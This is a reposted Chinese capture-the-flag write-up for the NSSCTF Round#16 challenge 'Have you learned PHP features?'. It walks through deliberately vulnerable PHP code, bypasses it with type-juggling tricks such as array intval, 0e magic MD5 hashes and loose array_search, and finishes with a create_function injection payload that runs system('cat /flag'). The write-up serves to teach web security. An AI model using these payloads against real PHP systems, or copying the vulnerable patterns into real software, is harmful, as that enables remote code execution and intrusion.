[NSSCTF Round#16 Basic]了解过PHP特性吗

这篇具有很好参考价值的文章主要介绍了[NSSCTF Round#16 Basic]了解过PHP特性吗。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

了解过PHP特性吗 wp

第一页题目代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
} 
第一关:intval 无数字绕过

推荐博客:CTFshow刷题日记-WEB-PHP特性(上)

if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}

num 中没有数字却要通过 intval 的检测。

已知 intval 有如下特性:

echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1

那么只需要传入一个非空的数组即可:

num[1]=a&num[2]=b
第二关:ctype_alpha && is_numeric && md5 弱比较绕过

推荐博客:MD5绕过

if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}

ctype_alpha 函数检测提供的 string 类型的 text 里面的所有字符是否都是字母。

is_numeric 函数用于检测变量是否为数字或数字字符串。

strrev 函数反转字符串,所以传入的值要先反转一次。

因此让 ctype 是纯字母,让 is_num 是纯数字,并且两边经过 MD5 加密后都是 0e 开头,就可以通过弱比较。

经过 MD5 加密后是 0e 开头的纯字母字符串:

QLTHNDT

QNKCDZO

EEIZDOI

… …

经过 MD5 加密后是 0e 开头的纯数字字符串:

240610708

4011627063

4775635065

… …

POST 传参:

ctype=TDNHTLQ&is_num=807016042
第三关:intval 绕过且长度限制,is_numeric 绕过
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}

114 用科学记数法传入即可,514 可以用 数字+字母,数字+%00,或者数组绕过。

GET 传参:114=1e8 ,POST 传参:514=999999999a

第四关:array_search 绕过

推荐博客:PHP弱类型总结

$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}

array_search() 函数在数组中搜索某个键值,并返回对应的键名。

用法示例:

<?php
 $a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
 ?>

输出结果:a

array_search() 函数在查找时使用的是弱比较;

PHP 中比较 0 == "NSS" 时,字符串 "NSS" 会被转换为数字 0,所以比较的结果是 true

因此可以传入一个数组,其值是 0 ,这样在 array_search() 查找时一定能成功,返回键名为 0 ,那么强比较就成功了。

因此 payload 为 POST 传参:arr4y[]=0

该数组只有一个元素,其下标为 0 ,值为 0 ,下标就相当于键名;

array_search() 查找时,将 “NSS” 与键值 0 做弱比较,比较成功,返回键名 0 。

上述 payload 整合后,返回结果为:

[NSSCTF Round#16 Basic]了解过PHP特性吗,ctf,php,web安全,网络安全

提示:Rc3_function.php

第二页题目代码:

访问 Rc3_function.php :

<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
} 
create_function 注入

推荐博客:[NISACTF 2022]level-up level 5

POST 传参 payload:

nss=return;}system('cat /flag');/*&shell=

返回结果:

[NSSCTF Round#16 Basic]了解过PHP特性吗,ctf,php,web安全,网络安全

拿到 flag 。文章来源地址https://www.toymoban.com/news/detail-801004.html

到了这里,关于[NSSCTF Round#16 Basic]了解过PHP特性吗的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(46)
  • NSSCTF Round#13 web专项

    简单的注册个账号,在 /changePassword 下查看页面源代码发现密钥 !-- secretkey: th3f1askisfunny -- ,很好,老套路了,flask-session-cookie-manager伪造,把 _user_id 改成1,访问 /getFlag ,拿到flag 查看页面源代码,发现路由 /factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令facto

    2024年02月07日
    浏览(38)
  • 【CTF-web】变量1(php全局变量)

    题目链接:https://ctf.bugku.com/challenges/detail/id/76.html 注意到$$args,那么我们可以通过args输入一个已定义变量的名称来得到它的值,于是查询php的九大全局变量,如下表所示。 变量 作用 $_POST 广泛用于收集提交 method=“post” 的 HTML 表单后的表单数据。$_POST 也常用于传递变量。

    2024年02月12日
    浏览(46)
  • CTF比赛中Web的php伪协议类型题小结

    在CTF中经常使用的是php://filter和php://input php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 data伪协议只有在php5.3且include=on时可以写木马。 file://用于访问本地文件系统 用法: file://[文件的绝对路径和文件名] 封装伪协议命令

    2024年02月15日
    浏览(40)
  • 【PHP代码审计】ctfshow web入门 php特性 93-104

    这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include(\\\"flag.php\\\"); : 这行代码将 flag.php 文件包含进来。如果 flag.php 文件中定义了变量 $flag ,它将在当前文件中可用。 highlight_file(__FILE__); : 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们

    2024年02月14日
    浏览(41)
  • ctfshow php特性(web89-web101)

    目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100  web101 php特性(php基础知识) preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了 但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收

    2024年01月20日
    浏览(41)
  • [CTF/网络安全] 攻防世界 PHP2 解题详析

    翻译: 你能给这个网站进行身份验证吗? index.php是一个常见的文件名,通常用于Web服务器中的网站根目录下。它是默认的主页文件名,在访问一个网站时,如果没有特别指定页面文件名,则服务器会自动加载index.php文件。 在Web应用程序中,index.php文件通常是网站的入口文件

    2024年02月13日
    浏览(45)
  • ctfshow web入门 php特性 web108-web112

    strrev() 反转字符串 ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值 payload: 类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

    2024年02月11日
    浏览(41)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(50)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包